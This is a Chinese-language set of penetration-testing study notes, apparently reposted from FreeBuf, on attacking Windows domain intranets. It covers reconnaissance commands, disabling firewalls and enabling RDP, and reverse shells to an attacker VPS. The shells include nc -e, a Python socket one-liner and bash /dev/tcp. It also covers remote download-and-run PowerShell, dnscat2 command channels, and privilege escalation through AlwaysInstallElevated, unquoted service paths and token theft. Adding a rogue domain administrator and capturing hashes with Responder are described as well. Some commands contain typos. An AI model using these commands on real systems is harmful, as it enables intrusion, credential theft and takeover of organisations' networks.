内网安全攻防笔记
2021-02-03 19:02:00 Author: www.freebuf.com(查看原文) 阅读量:117 收藏

第二章 内网信息搜集

一.概述

1.首先明确三个问题:我是谁,这是哪,我在哪。对当前机器的角色进行判断,根据机器的主机名,文件,网络连接等综合确定是什么类型的服务器。

2.对当前网络所处的网络环境的拓扑结构进行分析和判断,判断是属于DMZ还是办公区或者核心区

二.收集信息

1.手动收集信息:判断OS,权限,内网ip地址段,杀毒软件,端口,服务,补丁更新频率,网络连接,共享,会话等。如果是内网主机,操作系统,应用软件,补丁,服务,杀毒软件一般是批量安装的

(1)网络信息:ipconfig/all

(2)安装操作系统以及软件:systemInfo | findstr /B /C:"OS Name【名称】" /C:"OS Version【版本】"

(3)查看系统的体系结构:echo %PROCESSOR_ARCHITECTURE%

(4)查看安装的软件的版本和路径:wmic product get name,version

(5)使用PS软件信息:powershell "Get-Wmiobject -Class_Win32_Product | Select-Object -Property name,version"

(6)查询本机服务信息:wmic service list brief

(7)查询进程列表:tasklist. wmic process list brief

(8)查看启动程序的信息:wmic startup get command,caption

(9)查看计划任务:schtasks /query /fo LIST /v

(10)查看主机开机时间:net statistics workstation

(11)获取本地管理员信息(通常包含域用户):net localgroup administrators

(12)查看当前在线的用户:query user || qwinsta

(13)列出或断开本地和客户端的会话:net session

(14)查看补丁列表:systeminfo 需要注意系统的版本,位数,域,补丁以及更新频率等

(15)查看系统安装的补丁:wmic qfe get Caption,Description,HotFixID,InstalledOn

(16)查询本机的共享列表和可访问的域共享列表:net share wmic查询:wmic share get name,path,status

(17)路由表:route print 或APR -A

(18)防火墙相关:

关闭防火墙:[1]. 2003之前版本:netsh firewall set opmode disabele [2]. 之后的版本:netsh advfirewall set allprofiles state off

查看防火墙配置:netsh firewall show config

修改防火墙的配置:2003之前版本:[1]netsh firewall add allowedprogram c:\nc.exe "allow nc " enable

2003之后的版本:允许指定的程序进入[2]netsh advfirewall add rule name="pass nc" dir = in action = allow program = "C:\nc.exe"

允许指定的程序退出:netsh advfirewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"

允许3389放行:netsh advfirewall add rule name="Romote Desktop" protocol=TCP dir=in localport=3389 action=allow

自定义防火墙日志储存位置: netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

(19)查看代理的配置情况reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

(20)查看远程连接端口:reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber

(21)winserver 2003开启端口3389:wmic path win32_terminalservicesertting where (__CLASS !="") call setallowtsconnections 1

(22)2008和2012开启端口3389:wmic /namespace:\root\cimv2\termainalservices path win_32terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

2008和2012开启端口3389:wmic /namespace:\root\cimv2\termainalservices path win_32terminalservicesetting where (terminalname='RDP-Tcp') call setuserauthenticationrequired 1

red add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

2.empire的usemodel situational_awareness/host/winenum 可以查看本机用户,域组成员,密码设置时间,剪贴板内容,网络适配器信息等

usermodel situational_awareness/host/computerdetails 可以查到目标主机的事件日志,应用控制策略日志,包括RDP登录信息,但是需要管理员权限

三.查询权限

1.本地普通用户whoami的时候只能查询本机相关的信息,本地管理员用户可以查询域内的信息。域内的查询是通过域控实现(基于LDAP协议实现)需要通过权限认证,域用户有这个权限可以自动进行kerberos权限认证无需账号密码。

2.whoami \all 获取域和域用户的SID

3.查询指定用户的详细信息:net user XXX/domain

4.判断是否存在域:

(1)ipconfig :查询本机是否和DNS服务器处于同一网段等信息

(2)再通过反向解析查询域名的ip,判断DNSip和域名ip是否相同

5.systeminfo:命令之后显示域的值就是域名,登录服务器就是域控,若域为WORKGROUP,则当前服务器不在域内

6.查询当前的登录域和登录用户信息:net config workstaion 如果显示[工作站域DNS名称]为域名,[登录域]表示当前登录的用户是域用户还是本地用户

7.判断主域(域服务器一般同时作为时间服务器使用):net time /domain执行之后,(1)存在但是当前不是域用户会显示系统错误5.(2)存在域且当前用户是域用户会显示查询信息.(3)若当前是工作组环境的话,会显示i找不到域控

四. 探测域内存活主机

1.nbtscan工具:可以直接上传到目标主机不需要其他的依赖,参数为ip

2.利用ICMP:依次对每个ip做ping操作,for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

3.arp工具:直接上传到目标,arp.exe -t 192.168.1.0/20

4.Empire内置的arpscan模块,在局域网内发送arp数据包,收集存活的主机的ip和mac 在empire中使用usemodel situational_awareness/network/arpscan

5.Nishang脚本

6.常规的TCP/UDP端口扫描探测内网:ScanLine体积小,可以在任何windows系统使用

五. 扫描域内的端口

1.metasploit: use auxiliary/scanner/portscan/tcp

2.powersploit的脚本

3.nishang的脚本

4.如果扫描到端口可以使用客户端连接工具或nc获取服务端的banner信息。通过banner寻找公开的漏洞利用。公开的额cve和poc查找站点有安全焦点,Exploif-DB

5.注意常见端口上的服务

六.查询域内的基础信息

1.确定当前内网拥有的域,且所控制的主机在域内,就可以收集域内信息了

2.注意由于当前是域内,普通本地用户没有权限进行查询,必须是基于LDAP协议的域内用户或者System用户可以查询。在域内除了普通用户,所有的主机都有一个机器用户,用户名是机器名加上$

3.查询域:net view /domain

4.查询域内所有的计算机:net view /domain:HACKE[域名]。通过查询到的主机名判断服务器的角色

5.查询域内的用户组列表:net group /domain会显示域内所有用户组列表,默认Domain Admins 和Enterprise Admins对域内的所有域控有完全控制权限

6.查询所有域成员的计算机列表:net group "domain computers" /domain

7.获取域内密码策略相关:net accounts /domain

8.获取域内的信任信息:nltest /domain_trusts

七. 查找域控制器

1.nltest /DCLIST:hacke[域名]

2.查找域控的主机名:Nslookup -type=SRV _ldap._tcp

3.查看当前时间:net time /domain

4.查看域控制器组:net group "Domain Controllers" /domain

5.查看备份域控netdom query pdc

八. 获取域内的用户和管理员的信息

1.查询所有的域用户的列表 net user /domain

2.获取域内的用户的详细信息 wmic useraccount get /all

3.查看存在的用户:dsquery user

4.查询本地管理员组用户:net localgroup administrators

5.域管理员用户:net group "domain admins" /domain

6.查询管理员用户组:net group "Enterprise Admins" /domain

九.定位域管理员

1.定位域管理员的方法一般为日志和会话。日志是指本地管理员的日志,可以使用脚本导出,会话是域内每台计算机的登录会话,可以无权限查询

2.psloggedon可以查询本地或远程登录的用户

3.PVEFindADUser netview Nmap的NSE脚本 PowerView的invoke-StealthUserHunter模块 empire的user_hunter模块用于查找域管理员登录的机器

十.查找域管理进程

1.首先net group "domain admins" /domain 找到域管理员

2.列出本机的所有进程以及进程用户:tasklist /v 和前面的域管理员比对

3.查找域控制器的域用户的会话,将其与域管理员列表进行交叉引用得到域会话

4.查找域控制器:net group "Domain Controllers" /domain

5.收集所有的活动域的会话列表:NetSess 会返回活动会话的IP,域账户,会话开始和空闲时间

6.可以通过域管理员列表和活动会话列表进行交叉引用确定那些IP地址有活动域令牌。

7.扫描远程系统的NetBIOS信息: 8.如果有一个meterpreter会话可以使用incognito模拟域管理员添加一个域管理员

9.PowerVIew集成在PowerSploit工具中可以做到上面的需求

10.BloodHound工具的使用

第三章 隐藏通信隧道技术

一.概述

1.常用的隧道列举:

(1) 网络层:IPv6隧道。ICMP隧道,GRE隧道

(2)传输层:TCP隧道,UDP隧道,常规的端口转发

(3)应用层:SSH隧道,HTTP隧道,HTTPS隧道,DNS隧道

2.判断内网连通性:

(1)ICMP:ping IP

(2)TCP:nc <ip,端口>

(3)HTTP:curl <ip,端口> 支持HTTP.HTTPS.FTP等协议,还支持POST,cookie认证

(4)DNS:常用的命令时nslookup 和 dig

二.网络层隧道技术

1.IPv6隧道:支持的隧道工具有cat,6tunnel,nt6tunnel

2.ICMP:常见的ICMP隧道工具有icmpsh,PingTunnnel,icmptunnel,powershell icmp等

3.使用icmpsh工具的时候一般不需要管理员权限,需要安装python的impacket库,并且应为icmpsh要代替系统本身的ping命令和应答程序,是要关闭系统的ICMP应答,sysctl -w net.ipv4.icmp_echo_ignore_all = 1

攻击机输入目标ip后,目标主机可以输入icmpsh.exe -t [攻击IP] -d 500 -b 30 -s 128 攻击机就可以看到目标机的shell了

4.PingTunnel工具: 为攻击机和内网机1安装上之后,内网主机1运行ptunnel -x [隧道的连接密码] 开启隧道,vps攻击机运行ptunnel -p [内网机1的IP] -lp [vps端口] -da [内网目标主机2IP] -dp[内网目标主机2端口] -x [隧道的连接密码] 就可以实现vps控制内网机1之后将其作为跳板访问内网主机2的指定端口 但是icmptunnel会在所有的ICMP payload前面添加“TUNL”来标记隧道,所以容易被检测到

三.传输层隧道技术

1.lcx端口转发:

(1)内网端口转发:将目标的3389所有数据转到公网VPS的4444端口:lcx.exe -slave <公网主机的IP> 4444 127.0.0.1 3389 , 此时VPS执行lcx.exe -listen 4444 5555之后 就可以使用mstsc登录127.0.0.1的5555端口就相当于访问目标的3389

(2)本地端口映射:如果目标的端口本防火墙禁止(3389),可以将相应端口的数据透传到防火墙允许的其他端口上(53),目标机可以运行lcx -tran 53 <目标主机的IP> 3389

2.netcat:

(1)nc的一些基本参数含义

(2)Banner抓取:nc -nv 192.168.1.10 21 抓取21端口的banner

(3)连接远程主机:nc -nvv 192.168.1.10 80

(4)端口i扫描:一个端口nc -v 192.168.1.10 80 , 多个端口nc -v -z 192.168.1.10 20-1024

(5)端口监听:nc -l -p 9999监听9999

(6)文件传输:VPS监听:nc -lp 333 >1.txt 333的数据流入1.txt 此时若目标主机输入nc -vn [VPSIP] 333 < test.txt -q 1

(7)简易聊天:vps监听:nc -l -p 888 , 目标主机nc -vn [vpsIP] 888

3.获取shell:

(1)正向shell通常用在开启了防护的目标机器上:

linux目标主机监听4444:nc -lvp 4444 -e /bin/sh

windows目标监听4444:nc -lvp 4444 -e c:\windwos\system32\cmd.exe

此时VPS连接目标nc 192.168.1.11 4444 此时就可以在目标上看到vps正在连接本机

(2)反向shell:本地或vps监听9999:nc -lvp 9999

linux目标主机中输入:nc [vpsIP] 9999 -e /bin/sh

windows目标i中输入:nc [vpsIP] 9999 -e c:\windows\system32\cmd.exe

(3)在目标中没有nc时获取反向shell:此时可以使用其他工具或者编程语言代替nc

例如python:

python -c 'import socket,subprocess,os; s=socket.socket(socket..AF_INET,socket.SOCK_STREAM);

s.connect(("vpsIP","VPS端口"));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.filno(),2);

p=subprocess.call(["/bin/sh","-i"])'

(4)bash反向shell: vps监听:nc -lvp 4444 , 在目标主机上运行:bash -i > & /dev/tcp/[vpsIP]/4444 0>&1

4.powerCat:

(1)通过nc正向连接powerCat:服务器监听:powercat -l -p -e cmd.exe -v 攻击机执行netcat [服务器ip] -vv

(2)通过nc反向连接powerCat:攻击机监听:netcat -l -p 8888 -vv 目标主机执行:powercat -c [攻击机ip] -p 8888 -v -e cmd.exe

(3)通过powerCat返回poweshell:

在windowsserver执行:

IEX (New-Object Net.WebClient).DownloadingString("http://10.10.10.1/powercat.ps1")

powercat -l -p 9999 -v

在win7执行:powercat -c [serverIP] -p 9999 -v -ep

(4)powerCat传输文件:

server执行:powercat -l -p 9999 -of test.txt -v -of:输出文件名,可以在文件名前面加路径

win7执行:powercat -c [serveIP] -p 9999 -i c:\test.txt -v -i:可以写入文件名,也可以是字符串

(5)用powercat生成payload:

win7生成:powercat -l -p 8000 -e cmd -v -g >> shell.ps1 将ps1上传到server并执行

win7执行:powercat -c [ServerIP] -p 8000 -v

如果是反弹powershell:powercat -l -p 8000 -ep -v -g >> shell.ps1

可以在参数g后面加e实现编码的效果

(6)将powerCat作为跳板:

win7作为跳板可以访问kali和winserver 但是kail和winserver不能互相访问:

首先winserver执行:powercat -l -v -p 9999 -e cmd.exe

win7执行:powercat -l -v -p 8000 -r tcp:[winserverIP]:9999 -v 将本地8000接收到的流量转发给winserver9999

kali执行:和win7连接就可以将流量转发到winserver了 nc [win7IP] 8000 -vv

(7)上述情况也可以使用DNS协议:

win7:powercat -l -p 8000 -r dns:[winserverIP]::ttpowercat.test

kali:ruby dnscat.rb ttpowercat.test -e open --no-cache

winserver: powecat -c -[win7IP] -p 8000 -v -e cmd.exe

四.应用层隧道技术

1.本地转发:内外网环境下:vps可以和内网web服务器连接,但是不能和数据库服务器连接,但是web可以和数据库服务器连接,以web服务器为跳板,访问内网数据库服务器。将数据库服务器的3389映射到vps1153端口:

vps执行(会要求web密码):

ssh -Cfhg -L 1153[本地端口]:[内网数据库服务器IP]:[内网数据库服务器端口3389] root@web服务器IP

vp执行rdesktop 127.0.0.1:1153会发现已经和内网数据库服务器3389建立连接

本地端口转发就是指本地机监听一个端口,所有访问这个端口的数据都会被SSH转发到远端的对应端口

2.远程转发:若内网web服务器可以访问外网VPS,但是VPS不能访问内网,需要让VPS访问内网数据库服务器:

ssh -CfNg -R 3307[VPS端口]:[内网数据库服务器IP]:[内网数据库服务器端口] root@VPSIP

此时访问VPS3307就是将流量转发到内网数据库服务器:rdesktop 127.0.0.1:3307

远程端口转发就是远程主机监听一个端口,所有访问远程主机端口的数据SSH传输到本地对应的端口

3.动态转发:用vps建立一个动态的SOCKS 4/5 代理通道,输入web服务器密码:

ssh -CfNg -D 7000 root@web服务器IP

此时本地浏览器配置一个代理 就可以访问内网服务器

4.HTTP/S协议:HTTP service用于将所有的流量转到到内网,常见的代理工具有reGeorg,meterpreter,tuna等

(1)reGeorg工具有PHP,JSP,ASPX等web脚本,将脚本文件上传到服务器中,使用kali本地访问远程服务器的tunnel.jsp脚本文件,返回后利用reGeorgSocksProxy.py脚本监听本地9999端口,即可建立一个通信链路

python reGeorgSocksProxy -u http://[服务器IP:端口]/tunnel.jsp -p 9999

隧道正常通信之后就可以使用ProxyChains之类的工具访问内网的资源

5.DNS协议:首先需要确定内网是否允许内部DNS解析外部域名,也就是需要测试DNS的连通性,就需要用到nslookup,例如nslookup baidu.com 如果显示是通过内部DNS服务器查询到的baidu的ip就说明可以首先DNS隐藏通信

(1)dnscat2:它使用DNS协议创建加密的C&C通道,通过预共享密钥身份验证。该工具客户端是由C编写,服务端是由Ruby编写的。它有两种模式:直连模式:客户端直接向指定的IP地址的DNS服务器发起解析请求。中继模式:DNS通过互联网的迭代查询,指向指定的DNS服务器。

在使用该工具的时候需要先部署域名解析,测试部署是否成功。安装服务端。

启动服务端:sudo ruby ./dnscat.rb vpn.360bobao.com -e open -c ms08067.com --no-cache -c:指定使用预共享的密钥进行生成验证一面中间人攻击 -e:规定安全级别,open表示服务端允许客户端不进行加密 --no-cache表示禁止缓存,必须要添加该选项

如果是直连模式:sudo ruby ./dnscat.rb --dns server = 127.0.0.1,port=53,type=TXT --secret=ms08067.com 表示监听本地的53端口,自定义连接密码是ms08067.com

在目标主机上安装客户端:测试是否连通于服务端:dnscat.exe --ping vpn.360bobao.com

客户端连接服务端:dnscat.exe --dns domain=vpn.360bobao.com --secret ms08067.com

如果服务端使用的是直连模式:dnscat --dns server=<dnscat2 serverip>,port=53,type=TXT, --secret=ms08067.com

当客户端和服务端连通之后就可以执行命令了

(2)iodine的具体使用方法

6.SOCKS代理

(1)首先正向代理就是主动的通过代理来访问目标服务器,反向代理就是目标服务器通过代理进行主动连接

(2)EarthWorm:正向Socks5服务器:ew -s ssocksd -l 888 适用于目标拥有一个外网IP

(3)反弹SOCKS5服务器(适用于目标没有外网IP):

公网VPS中执行:ew -s rcsocks -l 1080 -e 888 代表在公网VPS上转接一个隧道,把1080的代理请求转发到888端口 再将ew上传到内网web服务器中执行ew -s rssocks -d [VPSIP] -e 888 指在内网web服务器上启动SOCK5服务,然后反弹到公网VPS的888端口 然后在VPS上fangwen1080端口使用内网Web的代理服务了

(4)关于详细的代理命令以及过程看书

五.压缩数据

六.上传和下载

第四章 权限提升分析以及防御

windows系统中权限大概分为四种,分别是User,Administrator,System,TrustedInstaller。User:改组的成员的默认权限不允许成员修改操作系统的设置或者用户资料。Administrator:管理员权限,可以利用windows的机制提升为System操作SAM文件等。SYstem:可以对SAM文件进行读取,需要从admin提升到System才可以对散列值进行Dump操作。TrustedInstall:是系统的最高权限,可以修改系统文件

提权分为纵向提权和横向提权。常用的提权方法是内核溢出漏洞提权,数据库提权,错误的系统配置提权,组策略首选项提权,web中间件漏洞提权,DLL劫持提权,滥用高权限令牌提权,第三方软件服务等

1.系统内核溢出提权:

(1)通过手动执行命令发现缺失的补丁:whoami /groups 查看当前的权限,再systeminfo查看当前安装的补丁

也可以利用wmic qfe get Caption,Description,HotFixID,InstalledOn查询补丁

(2)通过提权EXP和系统的补丁编号,执行以下命令对系统的补丁包进行过滤。

wmic qfe get Caption,Description,HotFixID,InstallledOn | findstr /C:"KB3143141" /C:"KB976902"可以发现没有安装KB3143141,则可以使用对应的EXP提权

(3)利用MetaSploit的post/windows/gather/enum_pathes模块根据漏洞的编号快速查找到系统中缺少的补丁

(4)Windows Exploit Suggester可以使用该工具将系统已安装的补丁程序和微软漏洞数据库进行比较。识别可以导致提权的漏洞。而其只需要目标系统的信息

./windows-exploit-suggester.py --update会自动更新安全公告数据库 ,具体使用参照工具文档

(5)MeteSploit的post/multi/recon/local_exploit_suggester也可以找出系统可以利用的漏洞

(6)powershell的sherlock脚本也可以查找提权脚本

2.windows系统配置错误:

常见的配置错误包括管理员凭据配置错误,服务配置错误,故意削弱的安全措施,用户权限过高等

(1)系统服务权限配置错误:系统服务可以调用可执行文件,如果低权限用户对此类服务有写权限就可以替换任意可执行文件并随系统服务启动获取系统权限。系统服务权限配置错误有两中可能:服务未运行,攻击者用任意服务替换原来的服务然后重启服务。服务运行中无法终止,攻击者可以利用DLL劫持尝试重启服务提权

(2)PowerUp:该脚本提供了一些可以提权的方法,

运行该脚本:powershell.exe -exec bypass -Command "& {Import-Module ./powerup.ps1;Invoke-AllChecks}"

直接网络运行脚本:powershell.exe -nop exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/powerup.ps1'); Invoke-AllChecks"以上命令可以列出存在问题的服务并会显示利用的大致方法

(3)MetaSpolit下可以使用/exploit/windows/local/service_permissions

(4)注册表键AlwaysInstallElevated:是一个策略设置项,windows允许低权限用户以System权限安装文件。

该选项需要再组策略当中进行设置。设置之后再注册表会生成键值对。可以使用powerup脚本的Get-RegistryAlwaysInstallElevated模块来检查注册表键是否被设置,如果被设置了就意味着MSI文件是以System权限运行的。powershell -exec bypass -nop IEX(New-Object Net.WebClient).DownloadString("c:/powerup.ps1");Get-RegistryAlwaysInstallElevated响应True就表示已经设置。之后可以运行Write-UserAddMSI模块,生成一个MSI文件。此时以普通用户权限运行UserAdd.msi就会添加一个管理员账户 命令是:msiexec /q /i UserAdd.msi/q:安装过程中禁止向用户发送信息 /i:安装程序 /qn:不使用GUI

也可以使用metasploit的exploit/windowws/local/always_install_elevated模块达到以上的效果。只要禁用注册表键AlwaysInstallElevated就可以阻止这种提权

(5)可信任服务路径漏洞:由于服务调用的可执行文件的路径中包含空格且路径没有被引号包含,结合windows的路径解析特点导致可以任意上传可执行文件。如果该漏洞存在有两种利用方法:如果路径和服务有关,任意创建一个服务或者编译service模板。如果和可执行文件有关,那就任意创建一个可执行文件

(6)可信任服务路径漏洞产生的原因:windows服务一般以权限运行,所以在解析服务路径的空格也以系统权限进行。例如:C:\Program Files\Some Folder\Service.exe windows会有以下三种尝试:C:\program.exe|C:program Files\Some.exe|C:\program Files\Some Folder\Service.exe。此时一个特殊命令的可执行文件的程序被上传到受影响的目录中,服务一旦重启就会以System权限运行

(7)检测系统是否有该漏洞:wmic service get name,displayname,pathname,startmode | findstr /i "Auto" |findstr /i /v "C:\windows\\" | findstr /i /v ""之后可以使用icacls工具对搜索的目录路径检查是否对目标文件夹有写权限 具体的回显内容看书。 确定存在此漏洞之后将上传的程序重命名放置在漏洞目录下执行sc stop service_name sc start service_name重启服务

(8)metasploit的exploit/windows/local/trusted_service_path模块也可以直接获取meterpreter,需要尽快将进程迁移到其他进程

3.自动安装配置文件:

内网机器一般是批量设置配置的,所以配置文件当中可能会有系统密码等。可以使用dir /b /s C:\Unattend.xml查找类似的配置文件。 metasploit集成了这个功能模块:post/windows/gather/enum_unattend

4.查看计划任务:

(1)schtasks /query /fo LIST /vAccessChk可以查看目录权限的配置情况:如果攻击者可以以高权限运行的任务所在的目录具有写权限就可以使用恶意的程序覆盖原来的程序,到下次执行的时候就会以高权限执行。accesschk.exe -dqv "C:\Microsoft" -accepteula查看目录的权限配置情况 。 -accepteula:由于第一次运行Sysinternal工具包中的工具的时候会弹出许可协议对话框 该参数可以自动接受许可协议

accesschk.exe -uwdqsUsers c :\列出驱动器下所有的有缺陷的文件夹

accesschk.exe -uwdqs"AuthenticatedUsers" C:\

accesschk.exe -uwqsUsers c:*.* 列出驱动器下有缺陷的文件

accesschk.exe -uwqs "AuthenticatedUsers" c:*.*

5.Empire内置模块:usemodule privesc/powerup命令 按tab键可以查看powerup模块列表

使用某个模块:usemodule privesc/powerup/allchecks execute 可以完成上述的操作

5.组策略首选项提权分析

6.令牌窃取分析防范

伪造令牌的核心是Kerberos协议,是一种网络认证协议,通过密钥系统为客户机/服务器应用程序提供强大的认证服务。

1.令牌窃取:假设已经获取meterpreter shell 首先使用use incognito 然后输入list_tokens -u 列出可用的令牌

有两种令牌:一种是delegation Tokens ,也就是模拟令牌,它支持非交互式的会话。令牌的数量其实就取决于meterpreter shell的访问级别,假设获取一个管理员的授权令牌攻击者就可以伪造该令牌拥有他的权限

接着在incognito中调用impersonate_token [上一步显示的可用的令牌],假冒Administrator用户进行渗透测试

2.Rotten Potato本地提权:列出可用的令牌,下载Rotten Potato之后将其上传到目标机器中,之后执行execute -HC -f rottenpotato.exeimpersonate_token "NT AUTHORITY\\SYSTEM"就可以模拟成为域管

3.添加域管理员:假设网络中设置了域管理进程,在meterpreter中输入ps查看系统进程,找到域管理进程,并使用migrate命令迁移到该进程,在会话中输入shell之后执行添加域用户操作:net user shutter xy@pass /add /domain再将该用户添加到域管理员组:net group "domain admins" shutter /add /domain再查看域管理组net group "domain admins" /domain该用户已经添加为域管理员了

4.同样在meterpreter中使用incognito来模拟管理员,然后迭代所有可用的身份验证令牌来添加域管

在meterpreter中执行add_user username password -h 域控IP执行add_group_user "Domain Admins" username -h 域控IP

5.Empire下的令牌窃取:在Empire获取服务器权限之后,使用内置的mimikatz工具获取系统密码

运行mimikatz 输入creds 即可查看到列举出的密码 如果这里有域用户登录此服务器,攻击者可以使用pth<ID>命令(ID就是creds下的CredID)就可以窃取其令牌 存疑!

7.无凭证条件下的权限获取分析

1.LLMNR:是一种域名系统数据包格式。当局域网DNS服务器不可用的时候,DNS客户端使用它解析本地网段的机器名称。

2.解析过程是主机通过UDP协议向组播地址224.0.0.252的5355端口发送多播查询请求以获取IP。本地子网中所有支持LLMNR的主机收到查询请求之后比对自己的主机名,相同就发送给查询主机自己的ip信息

3.NetBIOS:是一种网络协议,提供三种服务,名称服务:用于名称注册和解析,以便启动会话和分发数据包。数据报分发服务:负责进行错误检测和恢复。会话服务:允许两台计算机建立连接,允许电子邮件跨越多个数据包进行传输。

4.NTML和NET-NTLM:NTLM是存储在SAM文件中用户密码的散列值,通常保存在windows的SAM文件或者NTDS.DIT数据库中,用于访问资源的用户进行身份验证。Net-NTLM是网络环境中经过NTLM认证的散列值,使用responder可以抓取Net-NTLM Hash,攻击者无法使用该散列值进行哈希传递的攻击。必须使用HashCat等工具得到明文之后进行攻击

5.LLMNR和NetBIOS欺骗攻击:如果目标网络的DNS服务器故障无法提供服务的时候,会退回到LLMNR和NET-NS进行计算机的解析。

6.Responder是监听LLMNR和NBT-NS协议的工具之一,能够抓取网路中的LLMNR和NBT-NS请求并进行响应,获取最初的凭证。其可以利用内置的SMB认证服务器,MSSQL认证服务器,HTTP,HTTPS,LDAP.DNS,WPAD认证服务器以及FTP,POP3,IMAP,SMTP等服务器收集目标网络中的计算机的凭据,还可以通过Multi-Relay功能在目标系统中执行命令

7.Responder的监听模式:若在目标网络之中没有获得任何凭证,可以开启其监听模式,它只会对网络流量进行分析不会进行响应

8.在使用Responder对网络进行分析之后,可以利用SMB协议获目标中计算机的Net-HTLM Hash.测试中如果启动其响应功能,他会申明自己是一台输错了计算机名称的那台机器,然后尝试建立SMB连接,则客户端会发送自己的Net-NTLM hash进行身份验证。(如果用户输入了错的计算机名,在DNS上进行名称的查询操作会失败,名称解析请求将被退回)


文章来源: https://www.freebuf.com/articles/web/262930.html
如有侵权请联系:admin#unsafe.sh